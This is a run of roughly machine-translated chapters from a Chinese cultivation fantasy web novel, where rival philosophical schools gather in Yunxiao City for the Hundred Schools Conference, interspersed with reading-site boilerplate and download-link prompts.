    "We never use our own moral standards to demand others. For example, today on Tianjie, we can eat steamed buns willingly, but we will never ask others to do the same. After all, not everyone is. saint!"


    "So regardless of your motivation for joining the Mohist school, at least you told me the truth, this is a good start, isn''t it?"


    After Mo Kong said these words, Jiang Cunliang''s heart was shocked.


    If seeing what the Mohist school did on the street today only moved him, then he has been deeply impressed by the Mohist''s purpose.


    This sect is obviously not as pedantic and impractical as the rumors, and on the contrary, they have an absolutely clear understanding of many things.


    And it is this kind of knowledge that makes them never demand others.


    A sentence suddenly appeared in Jiang Cunliang''s mind.


    That is a saying that has been handed down since ancient times, and the situation in the outer sky at that time was different from now.


    Some of the philosophers of the Hundred Schools have not yet appeared, but the Mo School has already revealed its rudiments.


    And as soon as this concept of non-attack and love came out, it immediately swept the entire universe.


    So some people said at that time that the theory of the world is not Yang Jimo.


    Because it was also the time when Yang Zhu''s theory became popular, these two sects, with diametrically opposed ideas, caused great waves in the sky at that time.


    So even when the Mohists of later generations have declined and Yang Zhu''s doctrine is almost cut off, the two factions are still absolute rivals.


    Thinking of this, Jiang Cunliang suddenly remembered something, and Shen Sheng said: "Giant, when I came out of the sect, I was exposed to a piece of news. It said that Yang Zhu��s theory has been born, and it is very likely to participate in this hundred. Home conference!"


    Mo Kong nodded, "It''s not very likely, but it''s already here!"


    Jiang Cunliang was startled, but immediately realized that as a tycoon, it is normal for Mo Kong to have his own news channel, so he swallowed the rest of the story again.


    After that, Jiang Cunliang entered the Mo family smoothly and changed into a symbolic black robe.


    There is no squeeze, no hostility, and only help and friendship for the newcomers.


    All this made Jiang Cunliang feel a little unreal.


    After all, he, who is accustomed to intrigue, has never been treated like this.


    But he didn''t know that in this subtle moment, his mentality had quietly changed.


    And that was when Shen Jia Jianxiu entered Yunxiao City in a domineering manner, and the Mo Family had just accepted the former disciple Jiang Cunliang.


    In front of the teahouse in the city opened by Yang Jian, a group of people suddenly came and attracted the attention of almost the whole street.


    Because this is an extremely luxurious team, each car is made of the most top-quality materials, UU reading and the tractors are all kinds of rare birds and animals.


    Not to mention anything else, just this extremely exciting team is a great wealth.


    Even in the Yunxiao City where the sects are gathered at this moment, such a formation is rare.


    Just as the pedestrians on the street were puzzled and wondered where this was sacred, the convoy slowly stopped in front of the teahouse.


    Then dozens of charming and pretty maidservants got out of the car, some cleaning the streets, some laying red carpets, and others spreading fragrant flowers.


    This kind of formation stunned everyone.


    At the same time, the two maids walked to the car in the middle and gently opened the curtain.


    Immediately afterwards, a man walked out slowly from inside.


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2523 Mohist Philosophy), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2524： Indulge in sexual recklessness

    You can search for "invincible, cool notes from the novels ( in Baidu to find the latest chapters!


    His appearance made many onlookers secretly exclaimed.


    Without him.


    It''s really that this man has burned the bag too much.


    Not to mention that he doesn''t know what kind of material the body is made of, the extremely gorgeous clothes.


    Not to mention the accessories he wears from head to foot.


    Just the long sword he wore around his waist attracted countless eyes.


    Because this long sword has reached a certain level of beauty and complexity, even the sword''s jaw is inlaid with a gem the size of a pigeon egg.


    Even if they are far apart, one can still feel the mighty power from this gem.


    It can be seen that it is priceless.


    And this man himself was born extremely handsome and extraordinary, especially his eyes, which were actually a rare double color.


    One eye has a pure black pupil, and the other eye is a fascinating amber color, just like a Persian cat, full of mysterious beauty.


    As everyone was stunned, the man raised his head and looked at the teahouse twice, and then a faint smile appeared on his face.


    "It should be right here!"


    He took a step and walked inside.


    Wherever he went, these charming and pretty maidservants shook their fans and sprinkled flowers, their style is really like an emperor''s travel.


    And this scene was naturally seen by Yang Jian and Xiaotian who were drinking tea on the second floor.


    Xiaotian frowned, "Who is this person? What a great style!"


    Yang Jian did not speak, but took a deep look at the man, and then solemnly said: "Go and inform the guests in the next teahouse, saying that there is an important thing today that needs to be closed in advance, please leave first! "


    Xiaotian immediately understood, turned around and went down to prepare.


    At the same time, the man had already walked into the teahouse, but he didn''t even look at other people, and walked straight to the second floor.


    Humhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh.


    He stepped up the steps, and happened to face the snarling who was going downstairs.


    The roaring sky looked gloomy and watery.


    Just now Yang Jian ordered that, naturally it proved that this person is definitely an enemy or not a friend.


    So he didn''t give way, but stood on the steps, trying to try this man''s weight.


    The man wasn''t in a hurry, he just looked at Roaring Sky with a smile.


    At this moment, I heard Yang Jian''s voice coming from behind.


    "Wow, get out of the way!"


    Xu Tian reluctantly gave way to the road, and then the man climbed up the steps with a smile, but when he passed by Xu Tian, ??he said softly.


    "You should be thankful that your master let you escape in time, otherwise you are dead now!"


    Feng Tian was startled, and immediately furious, he wanted to attack, but at this time the man was already smiling and walking away.


    I saw him coming straight to the table in Yangjian. After he got closer, before sitting down, a maidservant came forward and arranged a soft stool.


    The man sat down with a smile, and the maid began to cook tea skillfully, but the man kept looking at the masculine.


    Yang Jian didn''t say a word either, this silence continued until the tea was boiled, and the rich aroma was filled, before the man took the lead to break it.


    "Where is Xue An?"


    Yang Jian raised his eyebrows slightly, "Why are you looking for him?"


    "It''s very simple, I want to talk to him about a cooperation!"


    "Cooperation?" Yang Jian sneered. "The successor of Yang Zhu, who is known for his indulgence and recklessness, would actually talk about cooperation with others?"


    The man shook his head, "I admit it to indulge in sexual indulgence, but recklessly making such an evaluation is an exaggeration, after all..."


    The man smiled slightly, and his amber eyes became brighter, "With my current strength, it is far from reaching the realm of the grandmaster''s recklessness!"


    That''s right!


    The visitor is Yang Qin, the contemporary heir of the Yang Zhu School.


    Speaking of this Yang Zhu school, the situation is extremely complicated, because he is the only sect family whose provenance cannot be verified among the hundreds of families from the outer world.


    No one knows who first proposed this theory, even the patriarch Yang Zhu himself couldn''t explain it clearly.


    But one thing is certain, that is, this Yang-Zhu school is a complete egoist.


    That sentence that I don��t want to benefit the world perfectly illustrates the essence of the Yang-Zhu School.


    But people''s deeper impression of this school is still those eight words, indulging in sexuality and recklessly.


    Yang Jian looked at Yang Qin coldly, "I don''t think there will be any cooperation between you and Xue An!"


    Yang Qin smiled, "How can you know if you don''t try it? At least I think this cooperation is a perfect win-win. After all, you don''t want him to really die under the sword of the Shen family!"


    Yang Jian''s discoloration changed suddenly.


    He naturally saw the huge momentum when the Shen family entered the city just now, and this is exactly what he worried about.


    After all, the majestic sword intent reminded him of his cold hands and feet.


    Coupled with this campaign, the Shen family''s prestige is even more unstoppable.


    So Yang Jian is really worried about Xue An.


    But he still didn''t trust the Yang Qin in front of him.


    Especially don''t understand how he found here!


    Yang Qun seemed to see his concerns and couldn''t help but smile, "Don''t worry, I know you are here because I happen to have a different friendship with the master of the Star Territory, Lei, and his daughter is here. In the city, I learned about this teahouse through her words!"


    "As for other concerns... as long as you tell me Xue An''s whereabouts, I will talk to him about the rest."


    Yang Jian frowned and was groaning. At this moment, a calm voice came from outside the window.


    "No, I don''t think there is much to cooperate!"


    With the voice, a breeze blew in from the window, and then Xue An appeared at the table.


    The whole process was natural, no matter whether it was Yang Jian or Yang Qin present, none of them were aware of it.


    This made Yang Qin''s eyes bright, and then he looked at Xue An with interest. U U Reading


    "Are you sure there is nothing to cooperate? You know..."


    Before Yang Qin finished speaking, Xue An waved his hand, "I know what you want to say, but it''s just a Shen Muyu, I''m not afraid!"


    Yang Qin''s eyes flickered, and then he said with a smile, "I thought I was crazy enough before, but I didn''t expect you to be more arrogant than me. No one in the world seems to dare to describe the second son Shen with a trivial word!"


    "That''s because he didn''t meet me before!" Xue An said lightly, "It''s you, why did you target that Shen Muyu in this way?"


    Yang Qin shook his head, "You are wrong. I am not targeting Shen Muyu, but all the scholars! After all..."


    "Having finally been born once, I have to do something vigorous!"


    Speaking of this, Yang Qin''s eyes showed enthusiasm, "How about it, are you interested in working with me to overturn all these philosophers? Self-reliance?"


    After listening to these words, Xue An just understood the extent of this Yang Zhu school''s recklessness.


    Of course he would not go crazy with such a person, so he shook his head and said, "I''m sorry, I''m not interested!"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2524 Indulgence to Sexuality), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2525： Reunion

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    Yang Qin is gone.


    This descendant of the Yang-Zhu School came in a hurry, and went very simply and neatly.


    Almost after Xue An said that it would never be possible to cooperate, Yang Qun stood up and left without hesitation.


    Seeing the gorgeous car wheel disappearing at the end of the long street, Xue An couldn''t help but smile: "Although it''s a bit crazy, it''s also a wonderful person."


    Then he turned to look at Yang Jian, "Do you know him?"


    Yang Jian''s complexion was a bit unpleasant, "When I didn''t find my memory back then, I traveled in the outer sky for a while, and then I met him by chance!"


    "Speaking of him, he also helped me a little favor, but I repayed a few times later, and paid off all the favors he had originally, but he did not expect that he would actually come here, and wanted to overturn the whole thing in a whimsical way. Baijia, you are really crazy!"


    Xue An laughed, "Anyway, at least having this idea is enough to prove that he, the descendant of the Yang Zhu school, is well deserved!"


    Yang Jian shook his head, not wanting to talk about this Yang Qin anymore, and then said with a serious face: "Did you see the formation just now?"


    Xue An said lightly: "Of course I saw it!"


    "Any thoughts?"


    "Hehe, the Shen family is obviously cultivating momentum, and they are demonstrating to me, but unfortunately they have miscalculated!"


    Xue An''s ontological consciousness just now was on the body of the master of the strong wind village, Bao Huarong.


    With the approach of the Hundred Schools Conference, he has been directing these thugs to make various preparations these days.


    Yang Jian originally wanted to say something, but looking at Xue An''s confident look, he finally swallowed it back.


    "Where is the girl Yue who has been following you?" Yang Jian asked.


    "Oh, her brother is coming soon, she is going to meet him!"


    "Her brother? You mean Yue Shifang, the master of the military family?"


    "Yes!"


    "Such an important person arrives, but you don''t even connect?" Yang Jian was puzzled.


    Xue An smiled slightly, "Don''t worry, my relationship with her brother doesn''t have to care about this for a long time, and there is another important reason why I stay here!"


    "Oh? What''s the matter?"


    "One thing about you!" Xue An smiled mysteriously.


    An hour later, Yang Jian stood outside the gate of Yunxiao City with a frightened face, and finally couldn''t help asking.


    "Xue An, she... is she really coming soon?"


    Xue An chuckled, "Of course, can I still joke about this kind of thing?"


    Yang Jian was silent.


    After another quarter of an hour, he whispered: "Or I''d better avoid it, what if she doesn''t want to see me after she arrives?"


    "You said it''s too late, she''s already here!"


    really.


    Along with the voice, a group of people appeared in the distance and rushed to the front of Yunxiao City at an extremely fast speed.


    "Brother Ang!" It was Ao Shu who rushed to the front.


    I saw that she ran up to Xue An with joy on her face, pulling the corner of Xue An''s clothes into a anger.


    "Brother Ang, do you know how much I missed you when I left me behind?"


    Xue An smiled, then reached out and rubbed Ao Shu''s little head.


    "Okay, I know it all!"


    Ao Shu wanted to say something, but Xue An stopped him with a silent gesture, and then moved a little to the side.


    Ao Shuxin understood, and immediately closed his mouth.


    At the same time, I saw that Cha Wenliang and the three gluttonous gluttons had also arrived one after another.


    Xue An had already understood everything that happened on the road through Ao Shu''s Divine Reading Biography, so there was not much surprise, and he smiled and nodded at the gluttonous couple.


    The gluttonous couple were flattered, but they did not speak.


    Because they know that something more important is about to happen.


    That''s right.


    After everyone had landed, the Nine Heavens Profound Girl had just arrived late and arrived in front of the city gate.


    When she stopped, the Yang Jian standing in front of the city gate was struck by lightning and couldn''t help whispering softly: "Xuan''er!"


    With this sound, Xuan''er easily broke the disguise of the Nine Heavens Profound Girl, only to see tears in her eyes.


    "Jiro!"


    Having said that, he rushed to the front, plunged directly into Yang Jian''s embrace, and burst into tears.


    When she cried, even Xiaotian and Cha Wenliang had red eyes and sighed.


    As for Ao Shu, she was already crying like a tearful person at this moment.


    "Ouuuu, it''s really touched that lovers finally get married! Brother Ang, do you feel touched?"


    "Um!"


    Xue An nodded calmly, and then waved.


    Everyone felt that a flower in front of them had moved directly from outside the city gate to the teahouse.


    It''s just that Yang Jian and Jiu Tian Xuan Nu did not appear with everyone, but were arranged in other rooms by Xue An intimately.


    This understatement of the transformation was so brilliant in Ao Shu''s eyes.


    "Wow, Brother Xue, you seem to be amazing again!"


    Even Cha Wenliang glanced at Xue An in surprise, "You can switch at will in this Yunxiao City?"


    Xue An smiled, "It''s impossible under normal circumstances, but I got something some time ago, which is considered to have found the back door of Yunxiao City''s veins, so I can only have a limited conversion space!"


    The portrait of Shen Jingshu obtained from the hand of Yuehua Zhongjun can be regarded as a back door to the program, allowing Xue An to use the power of Yunxiao City to a limited extent.


    Originally, Moon Huazhong gave this portrait to Xue An only to help him find suspicious persons.


    But how can Xue An let go of such a powerful method.


    After several researches, he finally mastered a limited application method.


    This also allows him to feel like a fish in this Yunxiao City, and can even control the overall situation behind the scenes.


    Yang Qin came to the teahouse to look for his own affairs before, and he also learned through this method.


    Cha Wenliang nodded suddenly, "That''s why, no wonder!"


    But he didn''t ask what the backdoor was, because he knew it was a big deal, and it was not a good thing to ask too much.


    Next, the group of people talked about their own passing in the teahouse, and it took a full hour before they saw Yang Jian and Jiu Tian Xuan Nu walking out of the room hand in hand.


    There were still tears on their faces, but their hands were tightly held together.


    Seeing this scene, UU reading www.uukansshu.com Ao Shu couldn''t help being the first to start booing.


    "Sister Xuannv, congratulations on finally finding Brother Erlang!"


    The Jiutian Profound Girl blushed, lowered her head and whispered, "Thank you!"


    At this moment, she was shy and timid, where there was still the slightest majesty of the empress.


    Seeing this scene, everyone couldn''t help but laugh.


    Although Yang Jian was a little embarrassed, he was a man after all. In addition to having found his love in his heart, he couldn''t help laughing.


    "Don''t tell me, anyway, I was also the first to come to Yunxiao City. I will prepare a few glasses of booze tonight. One is to do the friendship of the landlord, and the other is to celebrate the long-distance reunion between me and Xuan''er. What do you think?"


    "Okay!" Xiao Hulu responded first when he heard something to eat.


    In order to facilitate the next reading, you can click "Favorites" below to record this (Chapter 2525 Long-Long Reunion) reading record, and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2526： All parties gather, the conference will start

    You can search for "invincible, cool notes from the novels ( in Baidu to find the latest chapters!


    Everyone naturally agreed.


    Xue An''s heart moved even more.


    Because he felt the strong throbbing from the Fubao Xiaolou, he opened it.


    Then I saw An Yan and Miss Miss, who hadn''t appeared for a long time, all appeared in front of everyone.


    Ao Shu shouted in surprise, "Sister Yan, why are you only appearing now? Where did you go before?"


    An Yan glanced at Xue An, "Where else can you go, your brother An will not let me out, and keep me in the Fubao Xiaolou until now!"


    Xue An scratched his head in embarrassment.


    During this period of time, he did not let An Yan and the two little girls appear.


    But this does not mean that he has kept the three of them in the Fubao Xiaolou without supervision.


    On the contrary, after being promoted to a saint, Xue An already has the ability to incarnate ten million.


    Therefore, Xue An simply separated a part of his ontological consciousness and stayed in the Fubao Xiaolou to accompany his wife and children.


    This is also a helpless move, after all, what Xue An has experienced during this time is extremely dangerous.


    For the absolute safety of his wife and children, he could not let them come out.


    But today is an exception, after all, the preparatory work has already been done almost.


    With the control of the ground veins, Yunxiao City or this teahouse is relatively safe.


    That''s why Xue An let the three of them come out to breathe.


    Although the two little girls have been with Dad during this period of time, they have never seen the outside world.


    At this moment, as soon as it was released, it was like a bird out of the cage, and it was extremely excited.


    All of a sudden, the whole teahouse became lively because of the twittering of the two little girls.


    When he was laughing and laughing, he heard a burst of laughter from outside the teahouse.


    "It''s so lively, it seems we are here at the right time!"


    Following the voice, I saw Yue Shifang stepping into the teahouse.


    Behind him, Yue Qinghuan and the two girls stood side by side, and behind them were Shu Ling''er, Mengzhu Nasha and others from the Land of Witch Gu.


    In addition, even the brothers and sisters of Lu Yangyan and Lu Xiaoya came with them.


    The arrival of this large group of people made the atmosphere reach its peak in an instant.


    Everyone has seen it one after another. Although many people didn''t know each other before, but because of the bond of Xue An, they soon became friends who talked about everything.


    The reason why they were able to get together and come to this teahouse was naturally that they had received a notice from Xue An.


    Therefore, there are no outsiders who can appear here.


    Soon, the women were busy working in the kitchen under An Yan''s leadership.


    In addition to celebrating the reunion of Yang Jian and Jiu Tian Xuan Nu, this dinner tonight is also a welcome to everyone.


    As for the others, they are also busy.


    Only the old **** Yue Shifang was sitting on the chair, and then lowered his voice and said to Xue An.


    "Boy, I don''t see that you are really capable, and even the girls of the Jingchu clan can surrender, so amazing!"


    Xue An could not laugh or cry, "What are you talking nonsense? That''s just a girl I saved easily!"


    "Yo-yo-yo, I saved it easily, how can I do it? I''m not a fool, not to mention that even a fool can see the friendship of the Mengzhu girl towards you!" Yue Shifang looked at you, don''t lie to me, I don''t have that idiotic expression.


    Xue An was speechless for a while, and then changed the subject.


    "Where are the soldiers you brought?"


    Yue Shifang chuckled, then nodded his eyebrows.


    Xue An was startled, "I know the sea with my eyebrows?"


    Yue Shifang nodded, "Is it weird? You are not the only person in this world who owns the Sea of ??Consciousness Space, you must know that I am also a saint!"


    Speaking of this, Yue Shifang suddenly thought of something, and his expression became serious, "I heard that Qinghuan said that you have visited the City Lord''s Mansion after you came here?"


    "Um!"


    "How is the result?"


    "No, it''s just a few words with Yuehua Zhongjun."


    "It''s that simple?" Yue Shifang was incredulous, "he didn''t do anything with you?"


    "No, not only did not, but also gave me a gift!"


    Yue Shifang was silent, and then smiled bitterly: "You know, I have known Monarch Huazhong this month, but this guy has a very strange temperament, and it is difficult for ordinary people to get along with him, so I know that you are going to Yunxiao City alone. I''m still a little worried."


    "But I didn''t expect you to be able to talk to him, but didn''t you have a relationship with this guy before?"


    Xue An smiled, "It''s all in the past, and it''s just a misunderstanding. After the misunderstanding is eliminated, the holidays will naturally be gone!"


    He didn''t mention to Yue Shifang the portrait given to him by Moon Huazhong.


    It''s not that you don''t trust him, but the less people know about this kind of thing, the better.


    In fact, even Yang Jian only knew that he had been to the City Lord''s Mansion, but he didn''t know what he got.


    After a few more chats, the food was ready and everyone was seated.


    Zhu Zhe Shengjing was with the last seat, but his heart was extremely excited.


    Especially after seeing Yue Shifang sitting in the upright position and talking, there was only one thought in his mind.


    Bull X.


    We must know that before coming, Zhu Zhesheng was ready to sacrifice.


    After all, what Xue An had to deal with was an extremely mysterious existence.


    Naturally, the winning rate cannot be said to be high.


    But after seeing Yue Shifang and Jiutian Profound Girl sitting there, the flustered feeling healed without medicine.


    After all, if even Xue An is counted, there are now three saints in this hall.


    What is this concept?


    Even the average middle sect could not have such a powerful strength.


    Before he knew it, the panic in his heart was gone, replaced by a strong confidence.


    And that is when everyone gathers together in the teahouse. UU reading


    Yin Yang Family, the organizer of the Hundred Schools Conference, finally took action.


    City Lord''s Mansion.


    Jun Yuehua sat in silence, as if waiting for something.


    Suddenly.


    Accompanied by the arrival of an indescribable air machine.


    Three illegible figures appeared in front of Yuehua Zhongjun.


    soon.


    The three figures became solid.


    Moon Huazhong bowed his head deeply, "Yuehua, I have seen three Shadow God adults!"


    That''s right.


    What appeared here was the existence of the three in Yin Yang''s family, second only to the Eastern Emperor.


    The left shadow **** Zhao Haiyuan.


    The right shadow **** Gu Hanguang.


    There is also the most mysterious shadow **** Pu Huan.


    These three people represent the most mysterious and unpredictable power of the Yin Yang Family.


    Especially this mysterious **** Pu Huan, whose origins are mysterious, and his strength is so powerful that he already has the power of No. 2 Eastern Emperor.


    At this moment, the three of them gathered together, which naturally meant extremely important things.


    The three of them stood proudly, and the buildings in the city lord''s mansion were trembling slightly wherever the momentum came.


    "The Eastern Emperor has orders, Yuanding has prepared, and the Hundred Schools Conference will open in three days!"


    Invincible, the latest chapter address starting from Xianzun Dad: https://


    Invincible, read the full text from Dad Xianzun: https://


    Invincible, start from Xianzun''s txt download address: https://


    Invincible, start reading on mobile phone from Dad Xianzun: https://


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2526 All parties gather, the conference will start), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2527： 12 Yuan Ding Donghuang Tai 1

    "Invincible, start a novel from Daddy Xianzun ( to find the latest chapter!


    Following the voice, the three shadow gods waved their hands, and twelve points of brilliance flew out of their robe sleeves.


    As soon as these twelve points of brilliance came out, they immediately scattered, and they were divided among the various parties in Yunxiao City.


    Immediately after they returned to their respective positions, their bodies began to swell rapidly.


    In the blink of an eye, these brilliance turned into a huge furnace.


    There are countless desolate and primitive cloud-patterned spells carved on the top of the cauldron, which makes people feel awed just by looking at them.


    Hum.


    Accompanied by a strange buzzing sound, the runes carved on these cauldrons were quickly lit.


    Not only that, but also many branches and vines stretched out from these cauldrons, directly inserted into the ground.


    boom!


    When all the twelve cauldrons were connected with the veins of Yunxiao City, the whole Yunxiao City trembles.


    Such violent vitality fluctuations naturally shocked all the masters in the city.


    Everyone looked at them one after another, and then they all looked horrified.


    "Oh my god, it''s actually twelve Yuanding tripods. How long has it been since there has been such a high-profile conference of Hundred Schools?" someone exclaimed.


    "In the past three thousand years, only the Confucian conference of the Hundred Schools used eight Yuanding tripods, and that was the largest use of Yuanding tripods in the past few thousand years. As for the twelve Yuanding tripods...the last time it appeared There are thousands of years of ancient times!" Someone said solemnly.


    The reason why these people are so shocked is entirely because of these Yuan Ding.


    Speaking of this, we need to introduce in detail the origin of these 100 conferences.


    This Hundred Families Conference originated in ancient times, and was originally a rally similar to a martial arts contest organized by the sect family at that time.


    Following the increase in participants, these 100 conferences gradually evolved and eventually became Tianwaitian''s most important event.


    The results achieved at the Hundred Schools Conference are directly related to the ranking of the sect, and this ranking is not a false name, but is related to the status of the sect.


    The status of the sect is closely related to various interests.


    This shows the importance of these 100 conferences.


    But this also leads to a big problem.


    That is, those who can participate in the Hundred Schools Conference are the leaders among the people, the strong ones among the strong ones.


    Once these people start their hands with great destructive power, ordinary stars simply can''t stand such tossing.


    So in order to avoid this situation, Yuanding was made.


    There are countless mysterious runes carved on this kind of cauldron. Once they are assembled into a formation, a very stable space can be constructed.


    In this way, the worries of many powerful players at the Hundred Schools Conference will be gone.


    However, over the past few years, the Hundreds of Congresses generally consisted of six Yuan Dings, and no more than eight at most.


    This time, the Yin Yang Family directly used twelve Yuan Dings, which broke the record.


    This also just shows that the specifications of this Hundreds Conference will be beyond imagination.


    Just as the whole city was shaking, I saw these three shadow gods laughing, and then directly showing their own huge phenomena.


    "Welcome you all to come to my Yin and Yang home to participate in this Hundred Families Conference. Now Yuanding has returned to the throne, and it will be officially opened in three days. Lord Donghuang will also come in person to testify for you!"


    what!


    Donghuang will come too?


    The strong men in the city looked at each other, and then there was a silent uproar.


    If it is said who is the most mysterious powerhouse in the outer world, it must be the patriarch of the Yin-Yang family, Taiyi.


    In fact, strictly speaking, the Patriarch of the Yin-Yang Family should be called Taiyi.


    This is because the Eastern Emperor is a hierarchical division, just like Zhongjun and Shadow God, not a person''s name.


    But whether it was the Yin Yang Family itself, or the entire Tian Wai Tian, ??everyone had acquiesced to the name Eastern Emperor Taiyi.


    Because since ancient times, no one has ever reached the height of the Eastern Emperor Taiyi.


    There are even rumors that he has exceeded the category of the general strong, reaching the height of the two supreme immortals who founded Taoism and Confucianism.


    Of course, all this is just a rumor, because no one has seen this Eastern Emperor Tai take a shot for so many years, and even his figure is rare.


    And it is such a mysterious character who is going to appear in this session of the Hundred Schools Conference. How can this not make everyone surprised and surprised.


    The law dissipated, and the three shadow gods had left.


    Yunxiao City is quiet.


    But just under this quiet surface, there is a raging tide.


    Confucian residence.


    Yan Jingcheng frowned and paced back and forth in the room. After a long time, Zhang Zhixing finally couldn''t help it.


    "Big brother, can you stop wandering? It made my head dizzy!"


    Yan Jingcheng glared at him angrily, then frowned his eyebrows and said, "Third Junior Brother, have you figured out something?"


    Luo Linyuan put down the yarrow in his hand and shook his head helplessly.


    Yan Jingcheng sighed, "Actually, I knew that this would be the result. After all, there are too many things involved this time, especially that Donghuang Taiyi''s strength is unpredictable, and the secret is hidden. It is far from ordinary means to spy!"


    Zhang Zhixing curled his lips, "Big brother, I really don''t understand what you are afraid of. Isn''t it that Donghuang Taiyi is going to play? As for being so nervous?"


    Yan Jingcheng shook his head, "You don''t understand. Just after hearing this news, I felt a tremendous pressure. You must know that the Haoran mental method I practice is the most sincere, so I will encounter great danger. I felt it, and the pressure I felt this time was stronger than ever!"


    Speaking of this, Yan Jingcheng''s expression became extremely solemn.


    "So I have a foreboding that there will be huge twists and turns in this Hundred Schools Conference!"


    Zhang Zhixing wanted to say what would happen even if there were twists and turns? There are three top powers on his side, plus those Confucian elites, who can be his opponent?


    But when he saw Yan Jingcheng''s ugly face, he swallowed the rest of the words again.


    At this moment, I heard Luo Linyuan suddenly say: "In fact, there is another way to roughly calculate the secret of this time!"


    "What way?" Yan Jingcheng asked immediately. UU reading


    "Borrow the yin and yang chaotic money of the Zhenshan treasure of the Taoist school!"


    "Yin and Yang Chaos Money?"


    "Yes, this yin and yang chaotic money is an ancient treasure, and it contains a trace of chaos. Coupled with my Ib Book of Heaven, it should be able to remove the layers of mist and see a hint of heaven!"


    The room fell silent.


    After a while, I heard Zhang Zhixing say: "I think it''s fine. Let''s have a very deep festival with that He Zhanlong. Now the Hundred Schools Conference is about to be held, how easy is it to lend their treasure of Zhenshan from him? "


    But as soon as his voice fell, Yan Jingcheng said solemnly, "I''m going!"


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2527 Twelve Yuan Ding Donghuang Taiyi), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2528： Yuan Henry Zhen Chaos Secret

    You can search for "invincible, cool notes from the novels ( in Baidu to find the latest chapters!


    "Huh? Brother, how do you curse?"


    Yan Jingcheng took a deep breath, "I said I would borrow it myself."


    Zhang Zhixing''s eyes widened, "But brother, you..."


    He just wanted to talk about the feast between Yan Jingcheng and He Zhanlong, but saw Yan Jingcheng wave his hand.


    "Needless to say, the most important thing right now is to find out the clues of this sense of crisis. As for those personal grievances, they are all trivial matters."


    With that, he rushed to Luo Linyuan and said: "You are ready, I will pass now."


    Then he turned around and left.


    It was not until he had left that Zhang Zhixing looked at Luo Linyuan with a full face of disbelief.


    "Third Junior Brother, what''s the matter with Senior Brother? Normally, he keeps talking about the strangeness and power, so why is this time uncharacteristically uncharacteristic, so he has to calculate the secret?"


    Luo Linyuan''s complexion also became very solemn, and he said softly: "It may be that the crisis that Senior Brother felt this time is too serious!"


    "Joke, the three of us brothers are here, how can it be serious? Could it be that all the sects can be wiped out in one go..."


    Zhang Zhixing closed his mouth because he suddenly discovered that Luo Linyuan''s complexion suddenly became extremely ugly at this moment.


    In fact, even though Luo Linyuan hadn''t calculated any specific secrets in the three divinations just now, he was as talented as him, and he still felt an extremely cold murderous intent from the dazed and obscure hexagram.


    This murderous intent made him shudder, one can imagine how serious his situation is.


    The room was quiet again.


    But after a while, there was a disturbance in the aura, and then Yan Jingcheng showed his figure.


    "So fast?" Zhang Zhixing blurted out, feeling a little disappointed in his heart.


    After all, such a fast speed is obviously a closed door.


    But he did not expect that Yan Jingcheng flipped his wrist, and there were three golden coins in the palm of his hand.


    Luo Linyuan was overjoyed and immediately stepped forward.


    "Sure enough, it is Yin and Yang Chaos Money, big brother, how did you borrow it?"


    Yan Jingcheng smiled, "It''s very simple. After I went there, I briefly talked about the situation. Then He Zhanlong gave me this magic weapon very simply!"


    "It''s that simple?" Zhang Zhixing couldn''t help asking.


    "It''s that simple, he only has one request, and that is to tell him after calculating the result!"


    Luo Linyuan''s expression changed, "He also noticed it?"


    Yan Jingcheng nodded, "Although this guy is not very good, he still has strength. You and I can feel that something is wrong, and he can naturally too!"


    As he said, he looked at Luo Linyuan with piercing eyes, "Can you calculate it now?"


    Luo Linyuan took a deep breath, stretched out his hand to take the three coins, weighed it, and then nodded.


    "Let me try! Although I''m not very sure, but it shouldn''t be a big problem to see a little secret!"


    "Well, you do your best!"


    Yan Jingcheng took a few steps back.


    At this moment, Luo Linyuan''s expression suddenly changed, and his eyes became extremely bright.


    "Yuan! Henry! Li! Zhen!"


    Every time he drank a word, his momentum would skyrocket. After the four words were read, Luo Linyuan''s whole body was shining with golden light, and then he took a step forward.


    "Guaqi!"


    boom!


    Following the voice, these three Yin-Yang chaotic money flew directly out of his hand and suspended in the air.


    Above the money, the weather changed a lot, and it was trembling non-stop.


    The mighty power made Zhang Zhixing retreat again and again, and his face couldn''t help showing horror.


    "Why is it so big this time?"


    You should know that before that, Luo Linyuan hadn''t had any visions when he was making calculations.


    That''s because his strength has reached the realm of returning to the original.


    But this time there was such a big battle, which really shocked Zhang Zhixing''s heart.


    Yan Jingcheng''s complexion has also become very solemn, because he can feel that with the vibration of these three money, the originally obscure secrets are being cleared.


    But this also means that Luo Linyuan will be under increasing pressure.


    Suddenly.


    A crack appeared in one of the money.


    As soon as this crack broke out, the violent energy was immediately vented.


    Seeing this scene, Yan Jingcheng''s discoloration changed suddenly and immediately shouted, "Third Junior Brother, give up!"


    But Luo Linyuan groaned at this moment, resolutely bit the tip of his tongue and spit out a mouthful of blood.


    puff!


    As soon as the blood on the tip of the tongue came out, it immediately suppressed the qi machine that was about to move around, and repaired the rift in the yin and yang chaotic money.


    But this was just the beginning. With the violent tremor, Luo Linyuan was under increasing pressure.


    Yan Jingcheng could hardly regret it, and at the same time there was a look of horror in his eyes.


    With the cooperation of Yin and Yang Chaos Money, Luo Linyuan still underwent such a huge pressure. What is the secret of this time?


